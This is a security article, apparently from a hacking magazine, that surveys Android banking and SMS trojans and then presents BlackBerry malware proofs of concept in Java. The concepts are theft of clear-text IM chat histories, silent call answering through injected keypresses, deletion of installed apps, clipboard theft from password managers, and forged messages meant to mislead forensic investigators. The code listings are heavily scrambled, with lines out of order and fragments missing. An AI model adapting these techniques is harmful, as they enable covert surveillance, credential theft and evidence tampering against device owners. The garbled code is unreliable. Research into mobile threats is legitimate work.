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n a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs. From the Android Market alone, the infected program was downloaded more than 150,000 times and from alternative resources the number of downloads reached 250,000. Android.Plankton does not exploit known vulnerabilities in operating systems to elevate its own privileges. Instead, it downloads its own service in the background immediately after the launch of the infected application and begins to collect information about the device and sends it to a remote server. Another example was the Android malware DroidKungFu. This malware is capable of rooting the vulnerable Android phones and may successfully evade detection by the current mobile anti-virus software. This malware is identified from four Android apps that have been circulated among at least eight alternative Chinese app markets and forums. The malware will add a new service and receiver into the infected app. The receiver will be notified when the system finishes booting so that it can automatically launch the service without user interaction. Geinimi Trojan includes capacities to gain for: Reading and collecting SMS messages Sending and deleting selected SMS messages
Pulling all contact information and sending it to a remote server (number, name, the time they were last contacted) Placing a phone call Silently downloading files Launching a web browser with a specific URL
Geinimi has three different methods of starting itself. The trojan will first launch itself as its own service. The service allows the trojan to start while the host application appears to functioning normally. Two other ways Geinimi starts revolves around BroadcastReceivers Android events occurring. The trojan will wake itself up from an SMS message. The Geinimi trojan has encrypted the embedded data, payload and all communications however, encryption is weak. The values in the request for commands can be used by the command and control server to identify information about infected devices. The longitude and latitude can then be used to track the location of this specific user. Also, the trojan gathers a list of applications and their activities on the device, sends an SMS to any recipient, deletes SMSs, lists SMSs to specific contacts, lists contacts and their information, calls any number, silently downloads files and launches a web browser with a specific URL. An SMS trojan called Trojan-SMS.AndroidOS.FakePlayer, once installed, actually sends out SMS messages without the users knowledge or consent. Users are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The trojan bundled with it then begins texting premium rate phone numbers. The criminals are actually the ones
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import javax.microedition.io.Connector;
Listing 2a. Code Example how read and write files [malware MEDIA PLAYER IO (Input/Output)]
public static byte[] readFile(String FullName) {
///FullName includes FullPath to file with file name and file extension byte[] data = null; //array of data you want to return (read)
catch (IOException e) {
finally
try
if (null != fconn)
fconn.close();
} } }
catch (IOException e)
{ }
return data;
public static void writeFile(String FullName, byte[] data) // data is array you want to put into file { FileConnection fconn = null; OutputStream os = null; {
try
///FullName includes FullPath to file with file name and file extension
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Listing 2a. Code Example how read and write files [malware MEDIA PLAYER IO (Input/Output)]
} fconn.create();
os = fconn.openOutputStream(fconn.fileSize()); } os.write(data);
catch (Exception e) {
finally
{ Dialog.alert(e.getMessage());
try
os.close();
} }
fconn.close(); { Dialog.alert(e.getMessage()); }
catch (IOException e)
Path.addElement((String) file:///SDCard/BlackBerry/im); Path.addElement((String) ... - repeat several times Enumeration Path_enum = Path.elements();
while (Path_enum.hasMoreElements())
operating these numbers, so they end up collecting the money via charges to the victims accounts. The trojan spyware application known as Zitmo, is designed to steal peoples financial data by listening to all incoming SMS messages and forwarding them to a remote web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authentication. By intercepting these passwords, it can not only create fraudulent money transfers, but also verify them. The trojan program OddJob does not require fraudsters to log into a users online bank account to steal from it. Instead, the malware is designed to hijack a users online banking session in real-time by stealing session ID tokens. By stealing the tokens and embedding them into their own browsers, fraudsters can impersonate a legitimate user and access accounts while the user is still active online. The access allows fraudsters to then conduct whatever banking operations the account holder can perform. This approach is different than typical man-in-the browser attacks where attackers use trojans to steal login credentials that are then used to break into online accounts. The second interesting feature in OddJob is its ability to keep an
online banking session open and live even after users think they have logged out of their account. This allows criminals to extract money and continue other fraudulent activity even after the user thinks the session has ended.
BlackBerry Opportunity
Is it really difficult to bring the vulnerabilities to the BlackBerry devices? We are going to see how it is really easy to port these techniques to BlackBerry devices. The first two ideas and proof-of-concepts are about the BlackBerry file-system. As you may know, BlackBerry can encipher the whole file system as well as removed files. Talking about a ciphered file-system, you should understand that this feature makes sense only when all storage cards and memory are removed from devices to extract information, similar to forensic cases. Instead, when you rely on live spying you will get much more information rather trying to decipher it or get the password. First malware concept, the so called media player, based not so much on human bugs as it is on GUI bugs. Unfortunately, humans are not the last point of
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/Device/Home/User/ if information stored on internal memory /MediaCard/BlackBerry/ if information stored on external memory ../IM/AIM/USERNAME/history/ AIMs history in csv format ../IM/BlackBerryMessenger/PIN/history/ BBMs history in csv format ../IM/GoogleTalk/USERNAME/history/ GTalks history in csv format ../IM/Yahoo/USERNAME/history/ YMessengers history in csv format ../IM/WindowsLive/USERNAME/history/ WLives history in csv format ../pictures Manully added pic or screenshoted data ../camera Photo captured data ../videos Video captured data ../voice notes Voice captured data
defense when we talk about vulnerabilities, trojans, etc. Our behaviour is based on traditions of the past sometimes, as well as tools which used to change with age. In the past, access to files used to be strictly via DOS/Unix system; nowadays we have an aggregation of folders like Music, Photos, Photo-Cameras folder, or Videos. The GUI was developed as a result of the desire for a convenient way to access files. Taking the discussion to file access on our smart phones, audio notes, photos, videos, music, and cameras data are stored in one place (more correctly in two places, on internal storage and external storage like SD-card) and applications are allowed to access these folder paths to extract data in real-time; moreover API access to those same folders are easily obtained. Also, they may associate their listeners with a specific file format like .AMR which used to store your BlackBerry audio notes. They are often stored in the voicenotes folder, named as VN-20120319-xxxx.AMR. As you can see, you do not need to extract its properties to know when it was recorded; you do not even need to link (programmatically) the folder with type of file (logical level) because VN is a voice note. Video files are recorded by the device and named VID-YYYYMMDDXXXXXX.3GP as voice note or picture file. Photos are
named as IMG20120103-xxxx. To talk about a geo-tag per file, a Moskva prefix in added to file name. It is obvious why developers store the name of the file as the city part, date part and increment part. Continuous numbering is allowed in these cases, but why isnt it developed with the increment part then the hash part at the end of file name (XXXX-hash-dot-extension)? Several file-systems differ in the way files should be sorted, but developers are still able to ask device owners what they prefer. Doing this makes things simple, easier to control and a bit more secure, dont you agree? Of course, our media player as malware must have a network connection to get updates despite the fact that each BlackBerry device receives update notifications from AppWorld and OS updates should be received via USB-cable by synchronizing with the BlackBerry Desktop Software. Instead, our application may grab news from an official site, update news, offers to share music status and steal and send cached information (Listing 1-Listing 3). Second malware concept covers BlackBerry chats. If you turn on the option to save chat on internal storage (device) or on external storage (SD-Card) you will be notified about how you should ask interlocutor to agree with recording your chat history. By the way, it doesnt
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Figure 6. Window of WinLive Conversation Then stores a history folder which contatins .CSV files named by account name of interlocutor like yury.chemerkin@gmail. com. Also, conference/group chats folder are placed here: AIM: Conferences Google: Conferences Windows Live: Conferences Yahoo: Conferences BlackBerry: Group Chats Date/Time PIN Sender PIN Receiver Data HEX VALUE ID Receiver STRING STRING Data STRING
Chat Details
All IM chats (from application developed by RIM) files marked to be saved are often located on the same file paths
INTERNAL STORAGE: file:///store/home/user/im EXTERNAL STORAGE: file:///SDCard/BlackBerry/im
Then stores IM folder per each native IM client IM Folders AIM BlackBerry Messenger Google Talk Windows Live Yahoo
Then stores folder named as your account such as AIM Account: yury.chemerkin@aim.com Google Account: yury.chemerkin@gmail.com Windows Live Account: yury.chemerkin@hotmail.com Yahoo Account: yury.chemerkin BlackBerry Account: 23436780 (BlackBerry PIN)
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work for each, instead, it is a global feature; thats why theres no sense as you see. By default this feature is turned off. However, if you turn on saving you will be surprised by the fact that your data is stored in clear-text. Dont think that only Google, Yahoo, or another nonBlackBerry doesnt encipher them; BlackBerry chats are still not encrypted. Also, Shape IM+ for Linux relies on the root folder only without encryption. Note, that Yahoo Messenger, AIM (AOL) Messenger, Windows Live Messenger, Google Messenger and BlackBerry Messenger are developed by RIM. However, theres a native security solution: no .CSV format by the device except for special programs. Just copy this file to a PC and open it with Notepad. To see formatted chats, you should open it with Excel or OpenOffice.
The same way to store chats You need to turn on saving option feature Notepad or Excel to see them (Figure 1-Figure 10, Listing 4)
Summary
File-system ciphering isnt developed for live spying Chats stored in clear-text You cant read them with device
Third malware concept is based on several APIs acting in stealth mode. At first, you have to catch incoming call events, secondly, you have to simulate an answer event by simulating pressing of the answer button and then you should hide the caller screen to get back the home screen by simulating/pressing the escape button. Answer simulating refers to the Keypad. KEY _ SEND; to release pressing you have to press and release button by simulating KeyCodeEvent.KEY _ DOWN and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should pass when you get an incoming event to draw a native caller to the screen you managed. Then (when accepting an incoming call) you should hide via Keypad. KEY _ ESCAPE , however if you press the escape button you will be asked whether or not to go to the home
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import java.util.Enumeration;
import javax.microedition.io.Connector;
import net.rim.device.api.io.file.ExtendedFileConnection;
public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener public BlackBerryChatThiefScreen() { setTitle(BlackBerry Chat Thief Application); checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); checkButton.setLabel(Steal your own chat :)); checkButton.setChangeListener(this); add(checkButton);
String string_result; {
try
Vector Path = new Vector(); String current_path = new String(); String current_im = new String(); String current_id = new String(); String root_dir = new String();
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{ } { }
try
root_sdcard = (FileConnection)Connector.open(file:///SDCard/);
root_store = (FileConnection)Connector.open(file:///store/);
root_dir = file:///SDCard/;
Path.addElement((String) file:///SDCard/BlackBerry/im);
root_dir = file:///store/home/user/;
Path.addElement((String) file:///store/home/user/im);
copyf.delete();
copyf.create();
logger.delete();
logger.create();
getBytes());
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else
while (Path_enum.hasMoreElements())
r\n).getBytes()); }
{ logwriter.flush();
else
subdirs\r\n).getBytes()); }
else
{ r\n).getBytes());
while (IM_list.hasMoreElements())
logwriter.write((Directory [ + IM_dir.getURL() + ] has subdirs\ logwriter.flush(); current_path = IM_dir.getURL() + (String) IM_list.nextElement(); FileConnection ID = (FileConnection)Connector.open(current_path); {
if (!ID.exists())
getBytes()); } { getBytes());
else
ID.getName().length() - 1) + \r\n;
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{ subdirs\r\n).getBytes()); }
else
////if (ID_list.hasMoreElements()) { logwriter.write((Directory [ + ID.getURL() + ] has subdirs\ logwriter.flush(); current_path = ID.getURL() + (String) ID_list.nextElement() +
while (ID_list.hasMoreElements())
r\n).getBytes());
history;
open(current_path);
doesnt exist\r\n).getBytes()); }
{ - (/history).length());
else
current_id.length());// - ID.getURL().length());
//current_id = \r\n--------ID SEPARATOR------\r\n + current_id; current_id = CURRENT ID :: + current_id + \r\n; Enumeration chats = history_dir.list(); {
if (!chats.hasMoreElements())
} { ] has subdirs\r\n).getBytes());
else
while (chats.hasMoreElements())
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(ExtendedFileConnection)Connector.open(current_path); endsWith(rem))
current_conv = chat_file.getName();
--\r\n + current_conv;
openInputStream();
] has read\r\n).getBytes());
\r\n).getBytes());
] has written\r\n).getBytes()); }
} }
logwriter.flush(); copyf.close();
logwriter.close();
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Dialog.alert(string_result);
System.exit(0);
} }
screen. Therefore malware has to simulate an agreement via Keypad.KEY _ ENTER to successfully bypass the user eyes. Where it is all at, no one has another API to make your own caller screen and manage the in-
coming calls. To extend impacting to simulate physical input, you can read my 2nd article (Hakin9, Is Data Secure On The Password Protected Blackberry Device). However, it is easy to put a symbol in the
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import net.rim.blackberry.api.phone.PhoneCall;
public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener { int sleep_time = 1000; {
public static void main(String[] args) BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp(); theApp.enterEventDispatcher();
} {
Thread.sleep(sleep_time);
EventInjector.invokeEvent(releaseKey);
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EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ESCAPE, 0); {
try
Keypad.KEY_ESCAPE, 0);
Thread.sleep(sleep_time);
catch (InterruptedException e) {} }
EventInjector.invokeEvent(pressKey);
EventInjector.invokeEvent(releaseKey);
pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0); eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0);
try
Thread.sleep(sleep_time);
EventInjector.invokeEvent(releaseKey); }
public void callDirectConnectConnected(int callId) {} public void callDisconnected(int callId) {} public void callEndedByUser(int callId) {} public void callHeld(int callId) {}
public void callFailed(int callId, int reason) {} public void callInitiated(int callid) {} public void callResumed(int callId) {} public void callWaiting(int callid) {} } public void callRemoved(int callId) {}
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text field, while putting a string by one symbol and track-wheel moving is too difficult although it may be enough to input passwords (Figure 11-Figure 14, Listing 5).
Fourth malware concept is about destructive interaction. What is a common thesis when someone talks about security? A security component must not be deleted because it brings down a security wall. Why doesnt malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by resending modules to selected devices regarding IT Policy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose permissions that you grant to this application. As you know from my articles about screenshot catching, the device sometimes should ask what windows are allowed to interact with screenshot and which arent allowed. This case is the same and all you need to delete other applications is a name and permission to interact with Application Manager. How do you extract data about applications? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager. getApplicationManager().getVisibleApplications();. When the application list has got malware grabs LocalizedName and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. Thats all (Figure 15-Figure 18, Listing 6). Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the beginning you learn password may extract from SMS or GET/ POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential information stored in BlackBerry backups. Elcomsoft BlackBerry Backup Explorer allows forensic specialists
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Listing 6a. Code Example how find application among set of applications already running and how delete application
package blackBerryDeleterpackage;
import net.rim.device.api.system.ApplicationDescriptor; import net.rim.device.api.system.CodeModuleManager; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.system.ApplicationManager;
public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener { ButtonField bt_find = null; TextField tf2 = null; String stf2 = ;
public BlackBerryDeleterScreen() { // Set the displayed title of the screen setTitle(BlackBerryDeleterTitle); bt_find = new ButtonField(); tf2 = new TextField();
bt_delete.setLabel(DEL APP);
bt_delete.setChangeListener(this);
add(bt_delete);
getVisibleApplications();
descs = ApplicationManager.getApplicationManager().
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Listing 6b. Code Example how find application among set of applications already running and how delete application
int handle = 0; stf2 += length = + descs.length + \r\n; {
for (int i = 0; i < descs.length; i++)
handle = descs[i].getModuleHandle(); }
handle = descs[i].getModuleHandle();
}
try
{ }
if (handle > 0)
{ }
else
} { }
} { }
} { }
tf2.setText(stf2); }
else if (field == bt_delete)
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Listing 6c. Code Example how find application among set of applications already running and how delete application
ApplicationDescriptor[] descs = null; {
try
handle = descs[i].getModuleHandle();
handle = descs[i].getModuleHandle();
}
try
if (handle > 0)
{ }
else
} { }
} { }
} { }
tf2.setText(stf2); } }
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Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone)
import net.rim.device.api.ui.component.TextField; import net.rim.device.api.system.Clipboard;
import net.rim.device.api.ui.container.MainScreen;
investigating the content of BlackBerry devices by extracting, analyzing, printing or exporting the content of a BlackBerry backup produced with BlackBerry Desktop Software. But Elcomsoft manages to work with exported data that you back up. RIM made a good security solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data youll get the error message Unauthorized attempt to attach to this application. Dont panic, because when a user minimizes it or closes it, a successful data extraction happens. If you want to know whether BlackBerry Wallet (or Password Keeper) is running now, use the code example on how to find application (Figure 19-Figure 20, Listing 7). Screenshotting has been discussed many times, therefore I highlight that this feature can easily bypass security flows when the user restricts other permissions. For example, if user restricts a GEO permission you listen to active applications for catching screen shot of a map that the user is seeing at current time. When the map application starts it often shows
TextField tf1 = new TextField(); add(tf1); add(tf2); add(tf3); TextField tf2 = new TextField(); TextField tf3 = new TextField();
String str = ; {
try
catch (Exception e) {
try
clipb.put(PUT);
catch (Exception e)
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checkiButton.setChangeListener(this);
import javax.microedition.io.Connector;
CONSUME_CLICK | ButtonField.FIELD_
import net.rim.blackberry.api.mail.AddressException;
import net.rim.blackberry.api.mail.Message;
CONSUME_CLICK | ButtonField.FIELD_
NoSuchServiceException;
SupportedAttachmentPart;
CONSUME_CLICK | ButtonField.FIELD_
CONSUME_CLICK | ButtonField.FIELD_
import net.rim.device.api.ui.container.MainScreen;
private ButtonField checkpoButton = null; private ButtonField checkpiButton = null; private ButtonField checkiaButton = null; TextField tf = null;
public BlackBerryMessageMisleadingScreen() { setTitle(BlackBerry Message Misleading); TextField textfield = new TextField(); BlackBerry Technology); textfield.setLabel(Mislead yourself via add(textfield);
String res = ;
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length() > 0)
from fextfield
if (tf.getText().
oaddress
alert(MisLeadSentPIN(tf. getText()));
Dialog.
//SET A
MESSAGE BUILDER }
//PIN }
(AddressException e) e.getMessage(); }
catch
{ res +=
res +=
length() > 0)
from textfield
alert(MisLeadInboxPIN(tf. getText()));
Dialog.
MESSAGE BUIDLER } {
//PIN }
String res = ;
^_^;
null;
Address iaddress =
try
String res = ;
^_^;
String imessage =
//MESSAGE BODY
iaddress
= null;
Address iaddress
try
iaddress
(AddressException e) e.getMessage(); }
catch
{ res +=
MESSAGE SENDER
res +=
(AddressException e) e.getMessage(); }
catch
{ res +=
res += MisLeadInbo
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sentfolder.appendMessage(msg);
return error_message;
} {
TX_SENT, Message.Status.TX_SENT);
msg.setStatus(Message.Status.
else
msg.setStatus(Message.Status.
waitForDefaultSession(); { error_
session = Session.
catch (NoSuchServiceException e)
message += e.getMessage(); }
try
Folder[] folders = store.list(Folder. msg.addRecipient(Message. // ADD RECIPIENT // RETRIVE AN INBOX FOLDER Folder inbox = folders[0]; final Message msg = new Message(inbox); //CREATE A NEW MESSAGE IN INBOX FOLDER { }
try
RecipientType.TO, oaddress); }
msg.setSubject(subject);
try
msg.setContent(message); { error_
catch (NoSuchServiceException e)
message += e.getMessage(); }
try
msg.setFlag(Message.Flag.REPLY_ALLOWED, msg.setInbound(true);
msg.setSubject(subject);
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return err;
error_message = no_error;
return error_message;
Message msg = new Message(inboxfolder); //CREATE A PIN MESSAGE IN THE INBOX FOLDER
PINAddress[1];
catch (Exception e)
try
PINAddress(FakePIN, Robert);
recipients[0]= new
e.getMessage();
recipients[0]= new
RecipientType.TO, recipients);
msg.addRecipients(Message.
try
RecipientType.TO, recipients); STRUCTURE //ADD RECIPIENTS TO PIN msg.setSubject(SUBJ); //ADD A SUBJECT //ADD A BODY msg.setContent(BODY);
msg.addRecipients(Message.
//ADD A BODY
msg.setContent(BODY); msg.setStatus(Message.Status.
inboxfolder.appendMessage(msg);
msg.setStatus(Message.Status. }
catch (Exception e)
return err;
e.getMessage();
static String MisLeadInboxMessageAttach(Address //BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT { fromAddress, String message)
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try
mtype
waitForDefaultSession();
session = Session.
catch (NoSuchServiceException e)
message += e.getMessage(); }
message += e.getMessage(); }
finally
name-$$, data);
message += e.getMessage(); }
try
mtype
msg.setFlag(Message.Flag.REPLY_ALLOWED, msg.setInbound(true);
msg.setSubject(subject);
//ADD A SUBJECT TO EMAIL MESSAGE String fullname1 = file:///SDCard/bin/ String fullname2 = file:///SDCard/bin/ //SET PATH OF EXECUTION FILE byte[] data = new byte[256]; data = readFile(fullname1); ATTACHMENT DATA //CALL YOUR OWN READ METHOD TO GET BlackBerryKit_1.cod; BlackBerryKit_1.jad; } {
e.getMessage(); }
finally
multipart.addBodyPart(attach);
try
{ }
msg.setContent(multipart);
catch (MessagingException e)
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streamToBytes(is);
data = IOUtilities.
e.getMessage();
catch (IOException e)
finally
getMessage()); }
{ Dialog.alert(e.
error_message = no_error;
{ is.close();
return error_message;
} {
if (null != fconn)
close(); }
fconn.
} {
Dialog.alert(e.getMessage()); }
catch (IOException e)
return data;
Conclusion
These two articles describe how anyone could easily develop malware or a security application to manage
with other vulnerabilities. These highlighted points are very actual because some of them take advantage of old security issues and concepts from DOS, UNIX and other OSs.
YurY ChemerkiN
Graduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present, postgraduate at RSUH. Information Security Researcher since 2009 and currently works as mobile and social information security researcher in Moscow. Experienced in Reverse Engineering, Software Programming, Cyber & Mobile Security Researching, Documentation, and Security Writing as regular contributor. Now researching Cloud Security and Social Privacy. Contacts: I have a lot of social contacts, thats way youre able to choose the most suitable way for you. Regular blog: http://security-through-obscurity.blogspot.com Regular Email: yury.chemerkin@gmail.com Skype: yury.chemerkin Other my contacts (blogs, IM, social networks) youll find among http links and social icons before TimeLine section on Re.Vu: http://re.vu/yury.chemerkin
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The last exploitation covers so-called message misleading discussed in one of my previous articles. I recall some ideas and present code that attempts to cover all entry points and can be easily adapted for testing. RIM API has ability to create PIN
mail service. What are the goals you gain by implementing these ideas? Maybe you would like to build steganography, maybe you have to make a lot of fake message with fake interaction graphs to perplex forensic investigating or maybe something else it is all up to you (Figure 22-Figure 25).
Figure 23. Received Email Message with attach and e-mail with any possible parameters like their type as incoming, outgoing, received, sent, draft, etc. and their status (read, unread, error while sent, etc.). You may set your own date, list of recipients, subjects, body, attachments. Note that not one of these messages will synchronize with your real e-
On the Net
http://forum.drweb.com/index.php?showtopic=302926 New Trojan horse for Android spreads with Angry Birds Rio Unlock, Dr.Web http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ Researching for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ Geinimi Trojan Technical Analysis, http://www.informationweek.com/news/security/mobile/231001685 Zitmo Banking Trojan http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data OddJob bank trojan http://www.elcomsoft.com/ebbe.html Elcomsoft Blackberry Backup Explorer
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